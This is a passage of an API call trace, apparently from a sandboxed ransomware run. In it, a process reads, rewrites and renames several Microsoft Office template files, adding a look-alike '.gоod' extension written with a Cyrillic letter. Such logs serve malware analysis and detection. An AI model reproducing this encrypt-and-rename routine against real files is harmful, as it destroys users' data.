nFileSizeLow=0x2f49, dwReserved0=0x0, dwReserved1=0x0, cFileName="linessimple.dotx", cAlternateFileName="LINESS~1.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="linesstylish.dotx", cAlternateFileName="LINESS~2.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="minimalist.dotx", cAlternateFileName="MINIMA~1.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f32, dwReserved0=0x0, dwReserved1=0x0, cFileName="shaded.dotx", cAlternateFileName="SHADED~1.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="word2013.dotx", cAlternateFileName="WORD20~1.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="word2013bw.dotx", cAlternateFileName="WORD20~2.DOT")) returned 1 [0266.184] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="word2013bw.dotx", cAlternateFileName="WORD20~2.DOT")) returned 0 [0266.184] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0266.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0266.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0266.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0266.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3b6d978 | out: lpFileInformation=0x3b6d978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f51)) returned 1 [0266.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0266.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.185] GetFileType (hFile=0x808) returned 0x1 [0266.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.185] GetFileType (hFile=0x808) returned 0x1 [0266.185] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0266.185] ReadFile (in: hFile=0x808, lpBuffer=0x3b6ddd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3b6ddd0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0266.186] CloseHandle (hObject=0x808) returned 1 [0266.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.186] GetFileType (hFile=0x808) returned 0x1 [0266.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.187] GetFileType (hFile=0x808) returned 0x1 [0266.187] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f51 [0266.187] WriteFile (in: hFile=0x808, lpBuffer=0x3b6f178*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3b6f178*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0266.188] CloseHandle (hObject=0x808) returned 1 [0266.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.188] GetFileType (hFile=0x808) returned 0x1 [0266.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.188] GetFileType (hFile=0x808) returned 0x1 [0266.188] ReadFile (in: hFile=0x808, lpBuffer=0x3b71458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3b71458*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0266.442] CloseHandle (hObject=0x808) returned 1 [0266.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.443] GetFileType (hFile=0x808) returned 0x1 [0266.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.443] GetFileType (hFile=0x808) returned 0x1 [0266.443] WriteFile (in: hFile=0x808, lpBuffer=0x3821790*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3821790*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0266.443] CloseHandle (hObject=0x808) returned 1 [0266.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", lpFilePart=0x0) returned 0x52 [0266.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.gоod", lpFilePart=0x0) returned 0x57 [0266.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0266.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b05f69c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f61)) returned 1 [0266.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0266.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx.gоod")) returned 1 [0266.445] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0266.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), fInfoLevelId=0x0, lpFileInformation=0x38bb068 | out: lpFileInformation=0x38bb068*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fe8)) returned 1 [0266.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0266.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.681] GetFileType (hFile=0x834) returned 0x1 [0266.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.681] GetFileType (hFile=0x834) returned 0x1 [0266.681] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0266.681] ReadFile (in: hFile=0x834, lpBuffer=0x38c8248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x38c8248*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0266.682] CloseHandle (hObject=0x834) returned 1 [0266.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.683] GetFileType (hFile=0x834) returned 0x1 [0266.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.683] GetFileType (hFile=0x834) returned 0x1 [0266.683] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2fe8 [0266.683] WriteFile (in: hFile=0x834, lpBuffer=0x38c96b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x38c96b0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0266.684] CloseHandle (hObject=0x834) returned 1 [0266.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.684] GetFileType (hFile=0x834) returned 0x1 [0266.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.684] GetFileType (hFile=0x834) returned 0x1 [0266.684] ReadFile (in: hFile=0x834, lpBuffer=0x38cba60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x38cba60*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0266.717] CloseHandle (hObject=0x834) returned 1 [0266.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.717] GetFileType (hFile=0x834) returned 0x1 [0266.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.717] GetFileType (hFile=0x834) returned 0x1 [0266.717] WriteFile (in: hFile=0x834, lpBuffer=0x38ca798*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x38ca798*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0266.718] CloseHandle (hObject=0x834) returned 1 [0266.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", lpFilePart=0x0) returned 0x51 [0266.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.gоod", lpFilePart=0x0) returned 0x56 [0266.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0266.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b30dfe5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8)) returned 1 [0266.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0266.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx.gоod")) returned 1 [0266.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0266.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3947fb8 | out: lpFileInformation=0x3947fb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f15)) returned 1 [0266.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0266.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.851] GetFileType (hFile=0x834) returned 0x1 [0266.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.852] GetFileType (hFile=0x834) returned 0x1 [0266.852] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0266.852] ReadFile (in: hFile=0x834, lpBuffer=0x38f5990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x38f5990*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0266.854] CloseHandle (hObject=0x834) returned 1 [0266.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.855] GetFileType (hFile=0x834) returned 0x1 [0266.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.855] GetFileType (hFile=0x834) returned 0x1 [0266.855] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f15 [0266.855] WriteFile (in: hFile=0x834, lpBuffer=0x38f6f28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x38f6f28*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0266.856] CloseHandle (hObject=0x834) returned 1 [0266.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.856] GetFileType (hFile=0x834) returned 0x1 [0266.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.856] GetFileType (hFile=0x834) returned 0x1 [0266.856] ReadFile (in: hFile=0x834, lpBuffer=0x38f9470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x38f9470*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0266.882] CloseHandle (hObject=0x834) returned 1 [0266.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 